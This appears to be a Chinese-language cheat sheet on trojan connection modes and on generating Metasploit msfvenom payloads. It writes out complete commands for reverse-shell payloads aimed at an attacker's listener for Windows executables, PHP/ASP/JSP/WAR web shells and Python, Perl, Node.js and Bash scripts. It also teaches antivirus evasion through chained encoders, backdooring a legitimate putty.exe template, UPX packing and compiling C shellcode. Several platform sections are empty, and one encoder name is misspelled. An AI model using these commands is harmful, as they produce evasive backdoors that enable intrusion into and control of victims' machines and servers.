木马连接方式
正向连接(bind)
是我主动去连接别人机器上的某个端口,很显然,这样极易被对方防火墙拦掉
反向连接(reverse)
是让别人机器上的某个端口上的流量主动连到我机器上的某个端口上,起码暂时对各类应用层防火墙的穿透效果还是蛮不错的
msfvenom 常用选项
1 | -l 列出所有可用的payload,编码器,空指令…… |
使用msf创建监听器
1 | use exploit/multi/handler |
创建Metasploit payload
直接使用msfvenom生成的反弹shell程序一般都会被杀毒软件无情差杀掉
避免被查杀的最普遍方法是编码,简单来说就是改变可执行文件中的代码形状,从而让只识别静态特征码的杀毒软件无法识别,且当木马运行之后,木马会将原始程序解码到内存中,如此木马原来的功能自然也不会受到影响
可以使用x86/shikata_ga_nai
动态编码器进行混淆,简单单次混淆一般都能被杀毒软件先解码再查杀识别出来,那么尝试使用 多重编码器多次混淆
1 | # msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -e x86/shikata_ga_nai -i 10 -f raw | msfvenom -e x86/alpha_upper -a x86 --platform windows -i5 -f raw | msfvenom -e x86/shikkata_ga_nai -a x86 --platform windows -i 10 -f raw | msfvenom -e x86/countdown -a x86 --platform windows -i 10 -b '\x00\x0a\xff' -f exe -o shell.exe |
如果进行多次编码的马儿还是被查杀,可以尝试 更换可执行文件模板,重新生成木马
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -e x86/shikata_ga_nai -x putty.exe -k -i 5 -f exe -o shell.exe |
发现更换可执行文件模板的马儿依然被查杀,编码和更换模板都行不通,可以试试 加壳。软件加壳基本原理就是对可执行文件进行加密压缩,执行之后将代码解压为原始程序,这里分别使用5、9级别upx加壳等级对木马进行加壳
1 | upx -5 shell.exe -o upx5_shell.exe |
将木马藏在可执行文件里面,文件的md5值会发生改变,杀毒软件将文件与官方原版文件进行对比即可判断是否异常,这里 换一个不常见的可执行文件模板(可以是自己写的)
还有可以不直接生成可执行文件,而是 生成c代码
1 | msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows LHOST=<ip> LPORT=<port> -e x86/shikata_ga_nai -i 15 -b '\x00\' -f c -o shell.c |
利用编译器编译生成可执行文件来绕过杀软
windows平台
1 | # msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o x86_shell.exe |
linux平台
1 |
mac平台
1 |
android平台
1 |
Web Payloads
PHP
1 | msfvenom -p php/meterpreter_reverse_tcp LHOST=<ip> LPORT=<port> -f raw -o shell.php |
ASP
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f asp -o shell.asp |
JSP
1 | msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -f raw -o shell.jsp |
WAR
1 | msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -f war -o shell.war |
Script Payloads
Python
1 | msfvenom -p python/meterpreter_reverse_tcp LHOST=<ip> LPORT=<port> -f raw -o rshell.py |
Perl
1 | msfvenom -p cmd/unix/reverse_perl LHOST=<ip> LPORT=<port> -f raw -o shell.pl |
Node.js
1 | msfvenom -p nodejs/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f raw -o shell.js |
Bash
1 | msfvenom -p cmd/unix/reverse_bash LHOST=<ip> LPORT=<port> -f raw -o shell.sh |
ruby
1 |
lua
1 |